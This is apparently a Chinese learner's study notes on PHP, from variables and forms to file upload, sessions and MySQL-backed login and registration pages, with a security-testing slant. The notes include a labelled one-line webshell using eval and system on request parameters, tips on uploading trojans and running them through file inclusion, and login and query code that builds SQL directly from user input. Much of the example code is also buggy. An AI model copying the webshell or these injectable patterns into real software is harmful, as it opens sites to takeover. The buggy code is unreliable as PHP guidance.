php基础知识
-
概念
-
php: 超文本预处理器, 是一种通用开源脚本语言
-
-
用途
-
通过PHP,您不再限于输出HTML,您可以输出图像、PDF文件,甚至 Flash 电影,您还可以输出任意的文本,比如XHTML和XML
-
TCP有 0-65535 个端口, UDP有 0-65535 个端口, 故一个IP拥有 65535×65535 个端口
-
php语法
-
概念
-
php脚本在服务器上执行, 然后将纯HTML结果送回浏览器
-
-
规范
-
<?php *** ?>
-
php文件的默认文件拓展名是".php", 如果有.htaccess文件, 也可以用其他后缀识别成php
-
php文件通常包含一个HTML标签和一些PHP脚本代码
-
内容含有PHP代码必须以.php后缀, 否则可用.html
-
PHP每个代码都要以分号结束
-
-
示例代码
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http–equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>my first test PHP page</title>
</head>
<body>
<h1>My first test PHP page</h1>
<?php
echo"Hello, World!";
?>
</body>
</html>
php常见函数
-
变量赋值
-
PHP没有声明变量的命令
-
变量在第一次赋值给它的时候被创建
-
PHP是一门弱类型语言, 不必像强类型的编程语言中必须在使用变量前先声明(定义)变量的类型和名称
-
<?php
$a = '111111';
echo $a;
?>
-
变量作用域
-
local
-
global
-
<?php
$x = 5;
$y = 10;
function myTest(){
global $x, $y; //global引入外面的公共函数
$y = $x + $y;
echo $y;
echo '<br>'; //输出 15
}
myTest();
echo $y; //输出 15
?>
-
static
<?php
function myTest(){
static $x = 0;
echo $x;
$x++;
echo $x;
}
myTest();
myTest();
myTest();
-
parameter
-
示例代码
<?php
$x = 5; //全局变量
function myTest()
{
$y = 10; //局部变量
$x = 5; //内部变量
echo '<p>测试函数内变量<p>';
echo '变量 x 为: $x';
echo '<br>';
echo $x;
echo '<br>';
echo '变量 y 为: $y';
}
myTest();
echo '<p>测试函数外变量: <p>';
echo '变量 x 为: $x';
echo '<br>';
echo '变量 y 为: $y';
?>
-
参数作用域
<?php
function myTest($x){
echo $x;
}
myTest(5);
php输出函数
-
echo和print区别
-
在打印结果上没有差别, 具体来说 echo: 可以输出一个或多个字符串, 而 print: 只允许输出一个字符串, 返回值总为 1. 一般用 echo
-
echo语句:
-
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http–equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
<?php
echo "<h2>PHP 很有趣</h2>";
echo "Hello, World!<br>";
echo '我要学 PHP! <br>';
echo '这是一个'.'字符串, '.'使用了','多个','参数.';
$txt1 = '学习 PHP';
$txt2 = 'MASHIBING.COM';
$cars = array('Volvo', 'BMW', 'Toyota');
echo $txt1;
echo '<br>';
echo '在 $txt2 学习 PHP';
echo '<br>';
echo '我车的品牌是 {$cars[0]}';
?>
</body>
</html>
-
EOF函数
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
echo <<<EOF
<h1>我的第一个标题</h1>
<p>我的第一个段落</p>
EOF;
?>
</body>
</html>
-
print_r
-
打印关于变量的易于理解的信息
-
如果给出的是 string、integer 或 float,将打印变量值本身
-
如果给出的是 array,将会按照一定格式显示键和元素
-
-
var_dump
-
此函数显示关于一个或多个表达式的结构信息
-
包括表达式类型与值
-
数组将递归展开值
-
通过缩进显示其结构
-
-
var_dump 和 print_r 的区别
-
var_dump 返回表达式的类型与值而 print_r 仅返回结果
-
相比调试代码使用 var_dump 更便于阅读
-
php数据类型的比较
-
类型
-
字符串
-
数字型
-
布尔型
-
数组
-
空值
-
资源型
-
对象
-
代码
-
-
<?php
class Car
{
function what_color($color){
return $color;
}
}
$color1 = new Car();
echo $color1 -> what_color('red');
?>
-
php类型比较
-
松散比较:
-
使用 == 比较, 只比较值, 不比较类型
-
-
严格比较
-
用 === 比较, 比较值和类型
-
-
代码
-
<?php
echo '0 == false: ';
var_dump(0 == false);
echo '0 === false: ';
var_dump(0 === false);
echo "</br>";
## 得出结论: 0 与 flase 值相等, 类型不相等
echo '0 == null: ';
var_dump(0 == null);
echo '0 === null: ';
var_dump(0 === null);
echo "</br>";
## 得出结论: 0 与 NULL 值相等, 类型不相等
echo 'false == null: ';
var_dump(false == null);
echo 'false === null:';
var_dump(false === null);
echo "</br>";
## 得出结论: false 与 NULL 值相等, 类型不相等
echo '"0"== false: ';
var_dump("0" == false);
echo '"0" === false: ';
var_dump("0" === false);
echo "</br>";
## 得出结论: "0" 与 false 值相等, 类型不相等
echo '"0" == null: ';
var_dump("0" == null);
echo '"0" === null:';
var_dump("0" == null);
echo "</br>";
## 得出结论: "0" 与 NULL 值不相等, 且类型不相等
echo '"" == false: ';
var_dump(""== false);
echo '"" === false: ';
var_dump("" === false);
## 得出结论: "" 与 false 值相等, 类型不相等
echo '"" == null: ';
var_dump(""== null);
echo '"" === null: ';
var_dump("" === null);
## 得出结论: "" 与 null 值相等, 类型不相等
?>
php常量
-
设置常量
-
使用 define() 函数定义
-
三个参数
-
name: 必选参数, 常量名称, 即标识符
-
value: 必选参数, 常量的值
-
case_insensitive: 可选参数, 如果设置为 Ture, 则该常量对大小写不敏感, 默认是对大小写敏感的
-
-
定义常量相关代码
-
<?php
define('Greeting', 'Welcome to our website!');
//默认大小写敏感
echo Greeting;
echo "<br>"
echo greeting;
//输出"greeting", 但有警告信息, 表示该常量未定义
?>
php字符串
-
并置运算符
<?php
$txt1 = '111';
$txt2 = '222';
echo $txt1.' '.$txt2;
?>
-
strlen 函数 (php内置函数)
<?php
echo strlen('Hello, World!');
//输出字符串的长度
?>
-
strpos() 函数
<?php
echo strpos('Hello, World!', 'World');
//在字符串中找到匹配, 该函数会返回第一个匹配的字符位置, 如果未找到匹配, 则返回 False
?>
运算符
-
我就不过多赘述, 与其他语言类似
-
代码
<?php
$x = 10;
$y = 6;
echo ($x + $y);
echo '<br>'
echo –$x;
echo ++$x;
//其他类似
?>
赋值运算符
-
代码
<?php
$x = 10;
$x += 100;
echo $y.'<br>';
$c = 10;
$c .= '123';
echo $c;
?>
-
数组的比较
<?php
$x = array('a' => 1, 'b' => 2);
$y = array('c' => 3, 'd' => 4);
$d = array('b' => 2, 'e' => 1);
$z = $x + $y; // $x和$y数组合并
var_dump($z); // 输出合并后的数组
echo "<br>";
var_dump($x == $y); // 比较$x和$y数组是否相等
echo "<br>";
## false
var_dump($x === $y); // 比较$x和$y数组是否全等
echo "<br>";
## false
var_dump($x != $y); // 比较$x和$y数组是否不等于
echo "<br>";
## true
var_dump($x <> $y); // 比较$x和$y数组是否不等于
echo "<br>";
## true
var_dump($x !== $y); // 比较$x和$y数组是否不等于
echo "<br>";
## true
var_dump($x == $d); // 比较$x和$d数组是否相等
echo "<br>";
## true
var_dump($x === $d); // 比较$x和$d数组是否全等
echo "<br>";
## false
?>
-
括号的使用
php函数的利用之判断
-
switch
<?php
$a = 1;
switch($a){
case '1':
echo '111';
break;
case '2':
echo '2222';
break;
default:
echo 'error!';
}
?>
-
if else
<?php
if(1 == 1){
echo 'zhen';
}else{
echo 'jia';
}
?>
php函数的利用之循环
-
while
<?php
$a = 1;
while($a < 10){
echo '死循环'; //将会不断输出, 变成死循环
}
while(true){
echo '死循环'; //同上
}
while($a < 10){
$a++;
echo $a.'<br>';
}
?>
-
do while
<?php
$a = 1;
do{
echo $a.'<br>';
$a++;
}while($a <= 100);
?>
-
for
<?php
for($a = 1; $a <= 100; $a++){
echo $a.'<br>';
}
?>
php函数的利用之
php数组
-
数值数组
<?php
$cars = array('Toyota', 'Honda', 'Ford', 'BMW');
var_dump($cars);
?>
-
遍历数值数组
<?php
$cars = array('Volvo', 'BMW', 'Toyota');
$arrlength = count($cars);
for($x = 0; $x < $arrlength; $x++){
echo $cars[$x];
echo "<br>";
}
?>
-
关联数组
<?php
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
echo $age['Peter'];
?>
-
打印关联数组
<?php
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
foreach($age as $x => $x_value){
echo "Key = " . $x . ", Value=" . $x_value;
echo "<br>";
}
?>
-
数组排序
-
sort() 对数组进行升序排列
-
rsort() 对数组进行降序排列
-
asort() 根据关联数组的值, 对数组进行升序排列
-
ksort() 根据关联数组的键名, 对数组进行升序排列
-
arsort() 根据关联数组的值, 对数组进行降序排列
-
krsort() 根据关联数组的键名, 对数组进行降序排列
-
<?php
$age = array("Peter"=>"35", "Ben"=>"37", "Joe"=>"43");
arsort($age); //排序函数
foreach($age as $x => $x_value){
echo "Key = " . $x . ", Value=" . $x_value;
echo "<br>";
}
?>
php超级全局变量
-
PHP中预定义了几个超级全局变量(superglobals),这意味着它们在一个脚本的全部作用域中都可用。你不需要特别说明,就可以在函数及类中使用
-
$GLOBALS
<?php
$x = 10;
function addition(){
echo $GLOBALS['x'] + 5;
}
addition();
?>
-
$_SERVER
<?php
echo $_SERVER['php_self'];
echo '<br>';
echo $_SERVER['server_name'];
echo '<br>';
echo $_SERVER['http_host'];
echo '<br>';
echo $_SERVER['http_referer'];
echo '<br>';
echo $_SERVER['http_user_agent'];
echo '<br>';
echo $_SERVER['script_name'];
?>
php函数的利用
-
函数的传值
-
函数的返回值
-
常见函数之phpinfo()
<?php
phpinfo();
// 测试网站可不可以解析php
?>
-
常见函数之eval()
<?php
$a = '123';
$b = '456';
echo eval("return $a + $b;");
?>
-
常见函数之system()
<?php
system('ipconfig');
?>
-
一句话木马
<?php
eval($_POST['aaa']);
system($_REQUEST['cmd']);
// 不论是GET还是POST都可接收
?>
php魔术方法
-
LINE
<?php
echo '第'.__LINE__.'行';
// 显示当前行数
?>
-
FILE
<?php
echo __FILE__;
// 显示当前文件的路径和文件名
?>
-
DIR
<?php
echo __DIR__;
// 显示当前文件所在的目录
?>
-
FUNCTION
<?php
echo __FUNCTION__;
// 显示当前函数的名称
?>
-
CLASS
<?php
class test(){
function _print(){
echo 'class name' . __CLASS__ . '<br>';
echo 'function name' . __FUNCTION__ . '<br>';
}
}
$t = new test();
$t -> _print();
// 调用类中的方法,输出类名和方法名
?>
php表单
-
前端代码
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="welcome.php" method="post">
Name: <input type="text" name="name"><br>
E-mail: <input type="text" name="email"><br>
<input type="submit" value="提交">
</form>
<!– 当用户填完上面的表单病点击提交按钮时, 表单的数据会被送往名为'welcome.php'的文件进行处理 –>
</body>
</html>
-
后端代码
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
</head>
<body>
欢迎<?php echo $_POST["fname"]; ?>!
<br>
您的年龄是 <?php echo $_POST["age"]; ?>岁
</body>
</html>
-
下拉菜单单选代码
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
$q = $_REQUEST["q"];
if ($q == "baidu") {
echo "www.baidu.com";
} else if ($q == "google") {
echo "www.google.com";
} else if ($q == "taobao") {
echo "www.taobao.com";
} else {
echo "请选择一个站点";
}
?>
<form action="1.php" method="get">
<select name="q">
<option value="">选择一个站点</option>
<option value="baidu">Runoob</option>
<option value="google">Geogle</option>
<option value="taobao">Taobao</option>
</select>
<input type="submit" value="提交">
</form>
</body>
</html>
-
下拉菜单多选代码
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
$q = $_REQUEST['q'];
foreach($q as $value){
if ($value == "baidu") {
echo "www.baidu.com<br>";
} else if ($value == "google") {
echo "www.google.com<br>";
} else if ($value == "taobao") {
echo "www.taobao.com<br>";
} else {
echo "请选择一个站点";
}
}
?>
<form action="1.php" method="get">
<select multiple = 'multiple' name = "q[]">
<option value="">选择一个站点</option>
<option value="baidu">Runoob</option>
<option value="google">Geogle</option>
<option value="taobao">Taobao</option>
</select>
<input type="submit" value="提交">
</form>
</body>
</html>
-
单选按钮表单之单选框
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="#" method="get">
<input type="radio" name="q" value="RUNOOB">RUNOOB
<input type="radio" name="q" value="GOOGLE">GOOGLE
<input type="radio" name="q" value="TAOBAO">TAOBAO
<input type="submit" value="提交">
</form>
</body>
</html>
-
单选按钮表单之复选框
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
$q = $_REQUEST['q'];
foreach($q as $value){
if ($value == "RUNOOB") {
echo "www.baidu.com<br>";
} else if ($value == "GOOGLE") {
echo "www.google.com<br>";
} else if ($value == "TAOBAO") {
echo "www.taobao.com<br>";
} else {
echo "请选择一个站点";
}
}
?>
<form action="#" method="get">
<input type="checkbox" name="q[]" value="RUNOOB">RUNOOB
<input type="checkbox" name="q[]" value="GOOGLE">GOOGLE
<input type="checkbox" name="q[]" value="TAOBAO">TAOBAO
<input type="submit" value="提交">
</form>
</body>
</html>
-
表单验证之前端代码
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<form action="" method="get">
用户名: <input type="text" name="name"><br>
邮 箱: <input type="text" name="email"><br>
爱 好:
<input type="checkbox" name="hobby[]" value="足球">足球
<input type="checkbox" name="hobby[]" value="篮球">篮球
<input type="checkbox" name="hobby[]" value="羽毛球">羽毛球
<input type="checkbox" name="hobby[]" value="看书">看书
<input type="checkbox" name="hobby[]" value="写字">写字
<br>备 注:
<textarea name="beizhu"></textarea>
<br>性 别:
<input type="radio" name="gender" value="男">男
<input type="radio" name="gender" value="女">女
<br><input type="submit" value="提交">
</form>
</body>
</html>
-
表单验证之后端代码
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
// 加固代码是高危操作, 在发现安全漏洞后, 不要第一时间加固代码, 否则会导致后面一系列代码冲突引发报错, 导致业务下线, 故我们可以从产品方面进行加固, 买fw, ufw, waf, ips, ids
$name = htmlspecialchars($_REQUEST['name']);
$email = htmlspecialchars($_REQUEST['email']);
$hobby = $_REQUEST['hobby'];
$beizhu = htmlspecialchars($_REQUEST['beizhu']);
$gender = htmlspecialchars($_REQUEST['gender']);
// htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。比如:< 转换为 <,> 转换为 >,& 转换为 & 等等。
?>
</body>
</html>
-
必选以及验证
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
// 加固代码是高危操作, 在发现安全漏洞后, 不要第一时间加固代码, 否则会导致后面一系列代码冲突引发报错, 导致业务下线, 故我们可以从产品方面进行加固, 买fw, ufw, waf, ips, ids
$name = htmlspecialchars($_REQUEST['name']);
$email = htmlspecialchars($_REQUEST['email']);
$hobby = $_REQUEST['hobby'];
$beizhu = htmlspecialchars($_REQUEST['beizhu']);
$gender = htmlspecialchars($_REQUEST['gender']);
// htmlspecialchars() 函数把一些预定义的字符转换为 HTML 实体。比如:< 转换为 <,> 转换为 >,& 转换为 & 等等
if($_SERVER['REQUEST_METHOD'] == 'POST') {
if(empty($name)){
$nameERR = "名字不能为空, 请输入用户名";
}elseif(empty($email)){
$emailERR = "邮箱不能为空, 请输入邮箱地址";
}elseif(empty($gender)){
$genderERR = "性别不能为空, 请选择性别";
}else{
$name = "名字: $name";
$email = "邮箱: $email";
$beizhu = "备注: $beizhu";
$gender = "性别: $gender";
}
}
?>
<form action="" method="get">
用户名(*必填): <input type="text" name="name"><?php echo $nameERR;?><br>
邮 箱(*必填): <input type="text" name="email"><?php echo $emailERR;?><br>
爱 好:
<input type="checkbox" name="hobby[]" value="足球">足球
<input type="checkbox" name="hobby[]" value="篮球">篮球
<input type="checkbox" name="hobby[]" value="羽毛球">羽毛球
<input type="checkbox" name="hobby[]" value="看书">看书
<input type="checkbox" name="hobby[]" value="写字">写字
<br>备 注:
<textarea name="beizhu"></textarea>
<br>性 别(*必填):
<input type="radio" name="gender" value="男">男
<input type="radio" name="gender" value="女">女<?php echo $genderERR;?>
<br><input type="submit" value="提交">
</form><br>
<?php
echo $name . "<br>";
echo $email . "<br>";
echo 'hobby: ';
foreach($hobby as $value){
echo htmlspecialchars($value) . " ";
}
echo $beizhu . "<br>";
echo $gender . "<br>";
?>
</body>
</html>
php之文件包含
-
前端代码
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
include 'header.php';
echo $a;
//包含语句 最终包含的文件会以主文件的php打开
//文件包含的 传txt, jpg文件 到网站用包含漏洞打开
?>
<h1>欢迎来到我的主页!</h1>
<p>一些文本</p>
</body>
</html>
-
文件及文件上传前提
-
木马能够上传成功
-
php能够被解析, 需要被赋予执行权限
-
能够找到你上传的图片或者木马
-
-
文件及文件上传之代码
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
$file = $_FILES['file'];
foreach($file as $key => $value) {
echo $key . ': ' . $value . '<br>';
}
//tmp是临时文件,上传成功后会被删除
$allowedExts = array('jpg', 'jpeg', 'png', 'gif'); //白名单
$temp = explode('.', $_FILES['file']['name']); //字符串分割
$extension = end($temp); //获取文件后缀
if((($_FILES['file']['type'] == 'image/gif')
||($_FILES['file']['type'] == 'image/jpeg'
||($_FILES['file']['type'] == 'image/jpg')
||($_FILES['file']['type'] == 'image/pjpeg'))
||($_FILES['file']['type'] == 'image/x-png')
||($_FILES['file']['type'] == 'image/png'))
&&($_FILES['file']['size'] < 204800) //小于200kb
&& in_array($extension, $allowedExts))
{
if($_FILES['file']['error'] > 0)
{
echo '错误: ' . $_FILES['file']['error'] . '<br>';
}
else
{
// echo '上传文件名: ' . $_FILES['file']['name'] . '<br>';
// echo '文件类型: ' . $_FILES['file']['type'] . '<br>';
// echo '文件大小: ' . ($_FILES['file']['size'] / 1024) . ' kB<br>';
// echo '文件临时存储的位置: ' . $_FILES['file']['tmp_name'] . '<br>';
move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $_FILES['file']['name']);
echo '保存成功!';
// 判断当前目录下的upload目录是否存在该文件
// 如果没有upload目录, 你需要创建它, upload目录权限为777
if(file_exists('upload/' . $_FILES['file']['name']))
{
echo $_FILES['file']['name'] . ' 文件已经存在. ';
}
else
{
//如果upload目录不存在该文件则将文件上传到upload目录下
move_uploaded_file($_FILES['file']['tmp_name'], 'upload/' . $_FILES['file']['name']);
echo '文件存储在: ' . 'upload/' . $_FILES['file']['name'];
}
}
}
else
{
echo '非法的文件格式';
}
?>
<form action="#" method="post" enctype="multipart/form-data">
<label for="file">文件名: </label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="上传文件">
</form>
</body>
</html>
-
COOKIE
-
COOKIE盗取, 为越权漏洞
-
可在浏览器F12控制台输入document.cookie查看cookie和session
-
要写在HTML代码之前
-
setcookie()函数用于设置cookie
-
name
-
必需, 规定cookie的名称
-
-
value
-
必需, 规定cookie的值
-
-
expire
-
可选, 规定cookie的有效期
-
-
path
-
可选, 规定cookie的服务器路径
-
-
domain
-
可选, 规定cookie的域名
-
-
secure
-
可选, 规定是否通过安全的HTTPS连接来传输cookie
-
-
-
isset()函数确认是否设置了cookie
-
删除cookie
-
setcookie(‘user’, ‘’, time() – 1);
-
-
-
SESSION
-
工作机制
-
为每一个访客创建一个唯一的id(UID), 并基于这个UID来存储变量, UID存储在COOKIE中, 或者通过URL进行传导
-
-
COOKIE保存在客户端, 而SESSION保存在服务端
-
开启php之SESSION
-
session_start()建立session, 必须卸载HTML代码之前
-
-
存储和销毁session变量
-
<?php
<?php
//开启session
session_start();
if(!isset($_SESSION['views']))
{
$_SESSION['views'] = $_SESSION['views'] + 1;
echo "欢迎访问本站";
}else
{
$_SESSION['views'] = 1;
}
echo '浏览量:'.$_SESSION['views'];
//第一种销毁session
session_start();
if(isset($_SESSION['views']))
{
unset($_SESSION['views']);
}
//第二种销毁session
session_start();
if(isset($_SESSION['views']))
{
session_destroy();
}
?>
<html>
<head>
<meta charset="utf-8">
</head>
</html>
php数据库
-
MySQL(前面已经学过了), 数据库不区分大小写
-
int在数据库内最多存储10位
-
MySQLi连接 (面向过程)
<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';
// 创建连接
$conn = mysqli_connect($servername, $usernmae, $password);
// 检测连接
if(!$conn){
die('Connection Failed: ' . mysqli_connect_error());
}
echo '连接成功';
?>
-
MySQLi连接 (面向对象)
<head>
<meta charset='UTF-8'>
</head>
<?php
$servername = 'localhost';
$username = 'username';
$password = 'password';
// 创建连接
$conn = new mysqli($servername, $username, $password);
// 检测连接
if($conn -> connect_error)
{
die('连接失败: ' . $conn -> connect_error);
}
echo '连接失败';
?>
-
PDO连接
<head>
<meta charset='UTF-8'>
</head>
<?php
$servername = 'localhost';
$username = 'root';
$password = '111111';
try{
$conn = new PDO('mysql:host = $servername;', $username, $password);
echo '连接成功';
}catch(PDOException $e)
{
echo $e -> getMessage();
}
// try后面是可能报错的代码, 如果报错则执行后面的catch代码
?>
-
关闭连接 (面向对象)
$conn -> close();
-
关闭连接 (面向过程)
mysqli_close($conn);
-
实例 (PDO)
$conn = null;
-
用php创建数据库 (面向过程)
<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';
// 创建连接
$conn = mysqli_connect($servername, $usernmae, $password);
// 检测连接
if(!$conn){
die('Connection Failed: ' . mysqli_connect_error());
}
echo '连接成功' . '<br>';
// 创建数据库 (面向过程)
$sql = 'CREATE DATABASE myDB';
if(mysqli_query($conn, $sql)){
echo '数据库创建成功';
}else{
echo 'Error! Creating database: ' . mysqli_error($conn);
}
mysqli_close($conn);
// 其他需要调用该文件的只需要在开头加上:
// include('conn.php');
?>
-
用php创建数据库 (面向对象)
<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';
// 创建连接
$conn = mysqli_connect($servername, $usernmae, $password);
// 检测连接
if(!$conn){
die('Connection Failed: ' . mysqli_connect_error());
}
echo '连接成功' . '<br>';
// 创建数据库 (面向对象)
$sql = 'CREATE DATABASE myDB';
if($conn -> query($sql) === TRUE){
echo '数据库创建成功';
}else{
echo 'Error! Creating database: ' . $conn -> error;
}
$conn -> close();
?>
-
用php创建数据库 (PDO)
<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';
try{
$conn = new PDO('mysql:host = $servername;', $username, $password);
// 设置PDO错误模式为异常
$conn -> setAttribute(PDO: ATTR_ERRMODE, PDO: ERRMODE_EXCEPTION);
$sql = 'CREATE DATABASE mydbPDO';
// 使用exec(), 因为没有结果返回
$conn -> exec($sql);
echo '数据库创建成功' . '<br>';
}catch(PDOException $e)
{
echo $sql . '<br>' . $e -> getMessage();
}
$conn = null;
?>
-
创建表 (面向过程)
<meta charset="UTF-8">
<?php
$servername = '127.0.0.1';
$usernmae = 'root';
$password = '111111';
$data = 'kkk';
// 创建连接
$conn = mysqli_connect($servername, $usernmae, $password);
// 检测连接
if(!$conn){
die('Connection Failed: ' . mysqli_connect_error());
}
echo '连接成功' . '<br>';
// 创建数据库 (面向过程)
$sql = 'CREATE DATABASE kkk';
if(mysqli_query($conn, $sql)){
echo '数据库创建成功';
}else{
echo 'Error! Creating database: ' . mysqli_error($conn);
}
$conn1 = mysqli_connect($servername, $usernmae, $password, $data);
$sql_create_table = 'CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`ID` INT UNSIGNED AUTO_INCREMENT,
`USER` VARCHAR(10) NOT NULL,
`PASS` VARCHAR(10) NOT NULL,
`PHONE` VARCHAR(11) NOT NULL,
PRIMARY KEY(`ID`)
)ENGINE = InnoDB DEFAULT CHARSET = utf8;';
// PHONE 不能设置成INT, 因为数据库INT最多支持10位
if(mysql_query($conn1, $sql_create_table)){
echo 'success';
}else{
echo mysqli_error($conn1);
}
mysqli_close($conn);
?>
-
结合表单与数据库之conn.php代码
<head>
<meta charset=utf–8>
</head>
<?php
$servername = "localhost";
$username = "root";
$password = "root";
$dbname = "kkk";
// 创建连接
$conn = mysqli_connect($servername, $username, $password);
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
// 检测连接
if (!$conn) {
die("连接失败: " . mysqli_connect_error());
}else{
// echo "数据连接成功</br>";
if(mysqli_connect($servername, $username, $password, $dbname)){
// // echo "数据库表已经存在";
// $conn2 = mysqli_connect($servername, $username, $password, $dbname);
}else{
echo "开始自动创建数据库</br>";
$sql = "create DATABASE ".$dbname;
mysqli_query($conn, $sql);
echo "数据库创建成功</br>";
$createtbl="CREATE TABLE IF NOT EXISTS `kkk_tbl`(
`id` INT UNSIGNED AUTO_INCREMENT,
`user` VARCHAR(10) NOT NULL,
`pass` VARCHAR(10) NOT NULL,
`phone` VARCHAR(11) NOT NULL,
`file` VARCHAR(30) ,
PRIMARY KEY ( `id` )
)ENGINE=InnoDB DEFAULT CHARSET=utf8;";
$conn2 = mysqli_connect($servername, $username, $password, $dbname);
mysqli_query($conn2, $createtbl);
echo "数据表创建成功</br>";
}
}
// mysqli_close($conn);
?>
-
结合表单与数据库之注册源码
<head>
<meta charset="utf-8">
</head>
<?php
include("conn.php");
$name=$_POST['name'];
$password1=$_POST['password1'];
$password2=$_POST['password2'];
$shouji=$_POST['shouji'];
$tupian=$_FILES['tupian'];
$tupianname=$_FILES['tupian']['name'];
// echo $name,$password1,$password2,$shouji,$tupian;
if($_SERVER["REQUEST_METHOD"] == "POST"){
if(empty($name) ||
empty($password1) ||
empty($password2) ||
empty($shouji)){
$ERR="账号密码、手机号码不能为空";
//密码长度8位,密码两次输入一致
//密码验证
//手机11位
//文件上传jpg
}elseif(strlen($password1)<8){
$ERR="密码长度不足八位";
}elseif($password1!=$password2){
$ERR="两次输入密码不一致";
}elseif(strlen($shouji)!="11"){
$ERR="手机号码格式有问题";
}else{
// echo $_FILES["tupian"]["name"];
if (file_exists("tupian/" . $_FILES["tupian"]["name"])){
echo $_FILES["tupian"]["name"] . " 文件已经存在。 ";
}else{
// 如果 upload 目录不存在该文件则将文件上传到 upload 目录下
move_uploaded_file($_FILES["tupian"]["tmp_name"], "tupian/" . $_FILES["tupian"]["name"]);
// echo "文件存储在: " . "tupian/" . $_FILES["tupian"]["name"];
}
$sqlinsert="insert into kkk_tbl(user,pass,phone,file)
value('$name','$password1','$shouji','$tupianname');";
var_dump($conn2);
if(mysqli_query($conn2, $sqlinsert)){
$ERR="注册成功</br>";
}else{
$ERR="注册失败</br>";
};
}
}
?>
<form action="" method="post" enctype="multipart/form-data" >
名字:
<input type="text" name="name" > <br>
密码:
<input type="password" name="password1" ><br>
重新输入密码:
<input type="password" name="password2" ><br>
请输入手机号码:
<input type="passwrd" name="shouji" ><br>
上传头像:
<input type="file" name="tupian" ><br>
<input type="submit" value="提交">
</form>
<?php
echo $ERR;
echo "你注册的用户为:".$name."</br>";
echo "你注册的手机号码:".$shouji."</br>";
?>
<img src="<?php echo "tupian/".$_FILES["tupian"]["name"]; ?>">
-
结合表单与数据库之登录源码
<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
$reslust=mysqli_query($conn2,$uapsql);
// var_dump($reslust);
// var_dump();
if(mysqli_num_rows($reslust)){
header('Location:youxi.php');
session_start();
$_SESSION['login']='true';
}else{
$login = "登录失败";
$_SESSION['login']='false';
}
?>
<html>
<head>
<meta charset=utf–8>
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
<a href="zhuce.php">点击注册</a></br>
<?php echo $login;?>
</html>
-
上述网站包含的漏洞
-
逻辑漏洞, 重复注册
-
文件上传漏洞
-
明文传输
-
手机号码验证
-
反射xss
-
重复注册 中危
-
php数据库之查询数据
-
联动查询
<?php
include('conn.php');
$chaxun="select * from kkk_tbl;";
$lianjie=mysqli_query($conn2,$chaxun);
// var_dump($lianjie);
while($row=mysqli_fetch_assoc($lianjie)){
$user=$row['user'];
$pass=$row['pass'];
$phone=$row['phone'];
echo "user:".$user."</br>"."pass:".$pass."</br>"."phone:".$phone."</br>";
}
?>
-
优化后的查询
<?php
include("conn.php");
$chaxunsql=$_GET['chaxun'];
//增加一个判断,判断传入值是数字还是字符串
if(is_numeric($chaxunsql)){
$chaxunsql="id=$chaxunsql";
}else{
$chaxunsql="username='$chaxunsql'";
}
$chaxun="select id,username from users where $chaxunsql";
$reslust=mysqli_query($conn,$chaxun);
//mysqli_fetch_assoc()查询数据库结果并且赋值为一行
$row = mysqli_fetch_assoc($reslust);
$id = $row["id"];
$username=$row["username"];
//提取row数字中的username字段
$html = "id:$id</br>username:$username</br>";
?>
<html>
<head>
<mate charset="utf-8">
<h1>请输入你要查询的id或者账号名字</h1>
<form action="#" method="get">
<input type="text" name="chaxun">
<input type="submit" >
</form>
</head>
</html>
<?phpecho $html;?>
-
登录源码
<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
$uapsql="select username,password from users where username='$username' and
password='$password'";
$reslust=mysqli_query($conn,$uapsql);
// var_dump($reslust);
// var_dump();
if(mysqli_num_rows($reslust)){
$login = "登录成功";
}else{
$login = "登录失败";
}
?>
<html>
<head>
<mate charset="utf-8">
</head>
<h1>请输入账号以及密码</h1>
<form action="" method="post" ></br>
<input type="text" name="username"> </br>
<input type="password" name="password"> </br>
<input type="submit">
</form>
<?phpecho $login;?>
</html>
-
登录源码增加跳转功能 (未授权访问漏洞)
<?php
header('Location:youxi.php');
?>
-
继续增加代码,需要登录以后才能访问
<?php
$_SESSION['login']='true';
?>
-
所有路径
-
tupian文件夹(用来存放图片)
-
login.php登录页面
-
zhuxiao.php注销页面
-
conn.php数据库连接页面
-
zhuce.php注册页面
-
session.php管理session
-
youxi.php假装后台页面
-
-
完整登录页面login.php
<?php
include("conn.php");
$username=$_POST['username'];
$password=$_POST['password'];
$uapsql="select user,pass from kkk_tbl where user='$username' and pass='$password';";
$reslust=mysqli_query($conn2,$uapsql);
// var_dump($reslust);
// var_dump();
if(mysqli_num_rows($reslust)){
